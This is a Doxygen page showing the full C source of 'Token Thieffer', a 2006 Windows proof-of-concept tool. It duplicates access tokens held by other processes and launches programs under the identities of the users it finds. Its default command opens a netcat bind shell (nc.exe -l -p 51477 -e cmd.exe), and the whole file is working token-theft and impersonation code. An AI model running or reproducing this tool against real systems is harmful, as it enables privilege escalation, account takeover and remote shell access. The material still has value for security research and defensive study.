C:/Web/tthieffer/TokenExecution/Tthieffer.c

Go to the documentation of this file.
00001 /*
00002  * Token Thieffer for Win32 - Proof of Concept
00003  * Author: Andres Tarasco Acuña ( http://www.514.es )
00004  * Email: atarasco @ 514.es - atarasco @ gmail.com
00005  * Date: June 2006
00006 
00007  * Description:  This tool is able to duplicate all Tokens stored in the 
00008    system by calling NtQuerySystemInformation(). Duplicated Tokens allows
00009    users with local Administrator rigthts to execute code with credentials
00010    of every user that logged on to the system locally or over network.
00011    Default mode only extracts tokens from lsass process
00012 
00013  * Platforms: Tested under Windows 2000 and Windows XP
00014 
00015  * NOTE: If your user does not have rigthts to execute code with those tokens you should
00016    try to execute it with "psexec.exe -i -c Tthieffer.exe" or as SYSTEM with the -s flag
00017  
00018  * Greetings: 514 people 
00019 
00020  * Compiler: Compiles with Microsoft Visual Studio 6.0 + Windows Server 2003 SP1 SDK Release
00021    cl.exe /MD Tthieffer.c 
00022 
00023  * Submissions: You could also submit bugs/bugfixes and feature requests by email.
00024 
00025 
00026 Estructura de Tokens:
00027 http://technet2.microsoft.com/WindowsServer/en/library/d06a5070-2a7b-4e75-b7e9-ebe51f65e34b1033.mspx?mfr=true
00028 
00029 Como funciona la delegación  
00030 http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/distrib/dsce_ctl_awdg.mspx?mfr=true      
00031 */
00032 #include "Tthieffer.h"
00033 
00034 NTQUERYOBJECT              NtQueryObject ;
00035 NTQUERYSYSTEMINFORMATION   NtQuerySystemInformation; 
00036 NTCOMPARETOKENS            NtCompareTokens;
00037 
00038 DWORD WINAPI   procesa(LPVOID lpvParam) ;
00039 DWORD          ConsoleHandler(void);
00040 void           banner(void);
00041 void           usage(void);
00042 void           EnableDebugPrivilege();
00043 LPWSTR         GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass);
00044 
00045 
00046 CREDENCIALES   credenciales[MAX_USERS];
00047 short          InUse=0;
00048 char           command[256]="nc.exe -l -p 51477 -e cmd.exe";
00049 BOOL           SHOWALLTOKENS=0;
00050 #define        LIMITED  "svchost.exe"
00051 /********************************************************************/
00052 int main(int argc, char *argv[])
00053 {
00054    
00055    DWORD dwSize = sizeof(SYSTEM_HANDLE_INFORMATION);
00056    PSYSTEM_HANDLE_INFORMATION pHandleInfo ;
00057    NTSTATUS ntReturn;
00058    //LPTSTR SidText = NULL;
00059    int i;
00060    int total=0;
00061    
00062    banner();
00063    for(i=1;i<argc;i++)
00064    {
00065       if (strcmp(argv[i],"-a")==0){
00066          SHOWALLTOKENS=TRUE;
00067       } else
00068       if (strcmp(argv[i],"-e")==0) {
00069          strcpy(command,argv[i+1]); 
00070          i++;
00071       }
00072       else usage();
00073 
00074    }
00075    
00076    NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQuerySystemInformation");
00077    NtQueryObject= (NTQUERYOBJECT)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryObject");
00078    NtCompareTokens= (NTCOMPARETOKENS)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCompareTokens");
00079    if (!NtCompareTokens) printf("[-] NtCompareTokens Is Unsupported\n");
00080 
00081    EnableDebugPrivilege();
00082    
00083    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(dwSize);
00084    ntReturn = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
00085    
00086    if(ntReturn == STATUS_INFO_LENGTH_MISMATCH){
00087       free(pHandleInfo);
00088       pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(dwSize);
00089       ntReturn = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
00090    }
00091    if(ntReturn == STATUS_SUCCESS)
00092    {
00093       HANDLE hProcess ;
00094       DWORD i,CurrentProcessID = GetCurrentProcessId();
00095       
00096       
00097       for(i = 0; i < pHandleInfo->uCount; i++)
00098       {          
00099           hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, pHandleInfo->Handles[i].uIdProcess);   
00100          if(hProcess != INVALID_HANDLE_VALUE)
00101          {
00102             HANDLE hObject = NULL;
00103             if(DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handles[i].Handle,
00104                GetCurrentProcess(), &hObject, STANDARD_RIGHTS_REQUIRED, FALSE, 0x02) != FALSE)                  
00105             {
00106                LPWSTR lpwsType=NULL ;              
00107                lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
00108                
00109                if ((lpwsType!=NULL) && !wcscmp(lpwsType, L"Token") )
00110                {               
00111                   DWORD dwLen;
00112                   PSID pSid=NULL;
00113                   TOKEN_USER *pWork=NULL;
00114                   SID_NAME_USE  use;//=0;
00115                   char username[256]="";
00116                   char domainname[256]="";
00117                   LPSTR lpszProcess=NULL ;                   
00118                   SECURITY_ATTRIBUTES sa; 
00119                   
00120                   lpszProcess = malloc(MAX_PATH);
00121                   ZeroMemory(lpszProcess, MAX_PATH);
00122                   GetModuleFileNameEx(hProcess, NULL, lpszProcess, MAX_PATH);                   
00123                   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
00124                   sa.lpSecurityDescriptor = NULL;
00125                   sa.bInheritHandle = FALSE;
00126                   
00127                   if ((SHOWALLTOKENS) || (!strcmp(PathFindFileName(lpszProcess),LIMITED))  )
00128                   {                   
00129 
00130                      if  (DuplicateTokenEx(hObject,
00131                         //TOKEN_QUERY,
00132                         MAXIMUM_ALLOWED,
00133                         &sa,
00134                         SecurityImpersonation, 
00135                         TokenPrimary, 
00136                         &credenciales[InUse].hToken) != 0) //|| (1) )
00137                      {                   
00138                         total++;
00139                         memset(username,'\0',256);
00140                         memset(domainname,'\0',256);
00141                         memset(credenciales[InUse].user,'\0',256);
00142 
00143 
00144                         GetTokenInformation(credenciales[InUse].hToken, TokenUser, NULL, 0, &dwLen);
00145                         //GetTokenInformation(hObject, TokenUser, NULL, 0, &dwLen);
00146 
00147                         pWork= (TOKEN_USER *)LocalAlloc( LMEM_ZEROINIT,dwLen);
00148                         if (GetTokenInformation(credenciales[InUse].hToken, TokenUser, pWork, dwLen, &dwLen)) 
00149                         //if (GetTokenInformation(hObject, TokenUser, pWork, dwLen, &dwLen)) 
00150                         {
00151                            dwLen = GetLengthSid(pWork->User.Sid);
00152                            pSid= (PSID)LocalAlloc( LMEM_ZEROINIT,dwLen);
00153                            CopySid(dwLen, pSid, pWork->User.Sid);
00154                            dwLen=256;
00155                            LookupAccountSid(NULL, pSid, &username[0], &dwLen, &domainname[0], &dwLen, &use);
00156                         }                                    
00157                         sprintf(credenciales[InUse].user,"\\\\%s\\%s",domainname,username);
00158                         credenciales[InUse].pid=pHandleInfo->Handles[i].uIdProcess;
00159                         if (ExisteUsuario(InUse)) {                          
00160                            CloseHandle(credenciales[InUse].hToken);
00161                            //printf("*");
00162                         } else{
00163                            if (InUse==0) printf("  PID   Handle  Process Name      Token Information\n");   
00164                            InUse++;
00165                         }
00166 
00167                         //ConvertSidToStringSid (pSid, &SidText);
00168                         printf("%5d\t%6.4x\t%-18s\\\\%s\\%s\t\n",
00169                            pHandleInfo->Handles[i].uIdProcess,                      
00170                            pHandleInfo->Handles[i].Handle, 
00171                            ((lstrlen(lpszProcess) > 0)?PathFindFileName(lpszProcess):"[System]"),
00172                            domainname,
00173                            username);
00174 
00175                            //LocalFree(SidText); 
00176                            //SidText = NULL;
00177                      } else {
00178 #ifdef _DBG_
00179                         printf("%5i\t%6x\t%-18s<NOT DUPLICABLE %i>\n",
00180                            pHandleInfo->Handles[i].uIdProcess, 
00181                            pHandleInfo->Handles[i].Handle,
00182                            ((lstrlen(lpszProcess) > 0)?PathFindFileName(lpszProcess):"[System]"),
00183                            GetLastError());  
00184 #endif
00185                      }
00186                   }
00187                   free(lpszProcess);
00188                   free(lpwsType);
00189                }                              
00190                CloseHandle(hObject);               
00191             } 
00192 
00193             CloseHandle(hProcess);      
00194          }          
00195       }      
00196    }
00197    if (!InUse) {
00198       printf("No Tokens available. Press any key to continue\n");
00199       exit(1);
00200    } else {
00201       printf(" Found %i tokens\n",total);
00202       ConsoleHandler();
00203    }   
00204    return 0;
00205 }
00206 
00207 /***************************************************************************************/
00208 LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass)
00209 {
00210    LPWSTR data = NULL;
00211    DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
00212    POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION) malloc(dwSize);
00213    
00214    NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);   
00215    if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)){
00216       pObjectInfo =realloc(pObjectInfo ,dwSize);
00217       ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
00218    }
00219    if((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL))
00220    {
00221       data = (LPWSTR) malloc(pObjectInfo->Length + sizeof(WCHAR));
00222       CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);
00223    }
00224    free(pObjectInfo);
00225    return data;
00226 }
00227 /***********************************************************************************/
00228 DWORD WINAPI procesa(LPVOID lpvParam) {
00229    
00230    SECURITY_ATTRIBUTES sa;
00231    STARTUPINFO si;
00232    PROCESS_INFORMATION pi;
00233    
00234    ZeroMemory( &si, sizeof(STARTUPINFO));
00235    sa.nLength = sizeof (SECURITY_ATTRIBUTES);
00236    sa.lpSecurityDescriptor = NULL;
00237    sa.bInheritHandle = FALSE;   
00238    si.cb = sizeof(si);
00239    si.lpDesktop         = NULL;
00240    printf("[Thread ID: %i] Creating New Process %s\n", GetCurrentThreadId(),command);
00241 
00242 //SE_ASSIGNPRIMARYTOKEN_NAME , SE_INCREASE_QUOTA_NAME and SE_TCB_NAME //MKB  Q165194 "INFO: CreateProcessAsUser() Windowstations and Desktops "
00243    if(!CreateProcessAsUser(credenciales[(int)lpvParam].hToken,NULL, command, &sa, 
00244       &sa,FALSE, 0,NULL,"c:\\",&si, &pi)) {
00245       printf("[Thread ID: %i] CreateProcessAsUser Failed - GetLastError: %d\n",GetCurrentThreadId(), GetLastError());
00246       fflush(stdout);
00247    } else {
00248       WaitForSingleObject(pi.hProcess,INFINITE);
00249    }
00250    _endthread();
00251    return(1);
00252 }
00253 /*********************************************************************************/
00254 void ShowHelp(void){
00255    //printf("--------------------------------------------------------------\n");
00256    printf("EXEC <number>   --> Execute a command with selected the token   \n");
00257    printf("EXIT            --> Close all Handles and exit Process          \n");
00258    printf("---------------------------------------------------------------\n");
00259 }
00260 /********************************************************************************/
00261 void ShowTokens(void){
00262    int i;
00263    printf("---------------------------------------------------------------\n");
00264    printf("  ID:     PID\tToken Information:\n\n");
00265    for(i=0;i<InUse;i++) 
00266    {
00267       printf("  %2.2i\t%4.4i\t%s\n",i,credenciales[i].pid,credenciales[i].user);
00268    }
00269    printf("---------------------------------------------------------------\n");
00270    printf("Usage: EXEC <number>   --> Execute a command ------------------\n");
00271    printf("---------------------------------------------------------------\n");
00272 }
00273 /********************************************************************************/
00274 DWORD ConsoleHandler(void) {
00275    
00276    int iReadLenght;
00277    int TokenID=0;
00278    char ReadBuffer[256];
00279    
00280    HANDLE hThread;
00281    DWORD dwThreadId;
00282    
00283    //  ShowHelp();
00284    #define EXEC         "EXEC"
00285    #define EXIT         "EXIT"
00286    #define CMD          "CMD"
00287    #define SHOWTOKENS   "SHOWTOKENS"
00288    
00289    printf("Press enter to continue. Type \"exit\" to end program\n");
00290    getchar();
00291    ShowTokens();      
00292    
00293    while(1) {
00294       fflush(stdout);
00295       
00296       memset(&ReadBuffer[0],'\0',sizeof(ReadBuffer));
00297       scanf("%s",ReadBuffer);
00298       if (strnicmp(ReadBuffer,EXEC,strlen(EXEC))==0)
00299       {
00300          //printf("TAMOS EN EXEC\n"); fflush(stdout);
00301          
00302          scanf("%i",&TokenID);
00303          //printf("Ejecutando como: %i\n",TokenID);
00304          if (TokenID<InUse)
00305          {
00306             hThread = CreateThread(NULL,0,procesa,(LPVOID) TokenID,0,NULL); 
00307             if (hThread == NULL) 
00308             {
00309                printf("CreateThread failed"); 
00310             }
00311             else 
00312             {
00313                CloseHandle(hThread); 
00314             }
00315          }
00316       } else
00317          if (strnicmp(ReadBuffer,EXIT,strlen(EXIT))==0)
00318          {
00319             int i;
00320             for(i=0;i<InUse;i++) {
00321                CloseHandle(credenciales[i].hToken);
00322             }
00323             exit(1);
00324          } else
00325          {
00326             ShowHelp();
00327          }
00328    }    
00329 }
00330 /*********************************************************************************/
00331 BOOL ExisteUsuario(int InUse)
00332 {
00333    int i;
00334    BOOL result=TRUE  ;
00335    if (InUse>0){
00336       for(i=0;i<InUse;i++){
00337          if (NtCompareTokens!=INVALID_HANDLE_VALUE) 
00338                   NtCompareTokens(credenciales[i].hToken,credenciales[InUse].hToken,&result);        
00339          if ( (strcmp(credenciales[InUse].user,credenciales[i].user)==0) && (result == TRUE) ){
00340 //            if ((NtCompareTokens) && 
00341 //                (NtCompareTokens(credenciales[i].hToken,credenciales[InUse].hToken,&result)!=STATUS_SUCCESS)  ||
00342                  //) {
00343 //               printf("Los Tokens son distintos\n");
00344             return(1);         
00345          }
00346       }
00347    }
00348    return(0);
00349 }
00350 /******************************************************************************/
00351 void banner(void){
00352    printf(" Token Thieffer for Windows (c) 2006\n");
00353    printf(" Author: Andres Tarasco ( atarasco @ sia . es )\n");
00354    printf(" URL: http://www.514.es\n\n");
00355 }
00356 /******************************************************************************/
00357 void usage(void)
00358 {
00359    printf(" Usage:\n");
00360    printf(" TThieffer.exe -a           (Show all duplicable tokens)\n");
00361    printf("               -e \"command\" (changes default command)\n");
00362    printf("               -?           (Shows this help)\n\n");
00363    exit(1);
00364 }
00365 /******************************************************************************/
00366 void EnableDebugPrivilege()
00367 {
00368    HANDLE hToken;
00369    TOKEN_PRIVILEGES tokenPriv;
00370    LUID luidDebug;
00371    if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken) != FALSE) {
00372       if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidDebug) != FALSE)
00373       {
00374          tokenPriv.PrivilegeCount           = 1;
00375          tokenPriv.Privileges[0].Luid       = luidDebug;
00376          tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
00377          AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL);
00378       }
00379    }
00380 }
00381 /******************************************************************************/

Generated on Fri Feb 22 13:02:52 2008 for Token Thiffer by  doxygen 1.5.4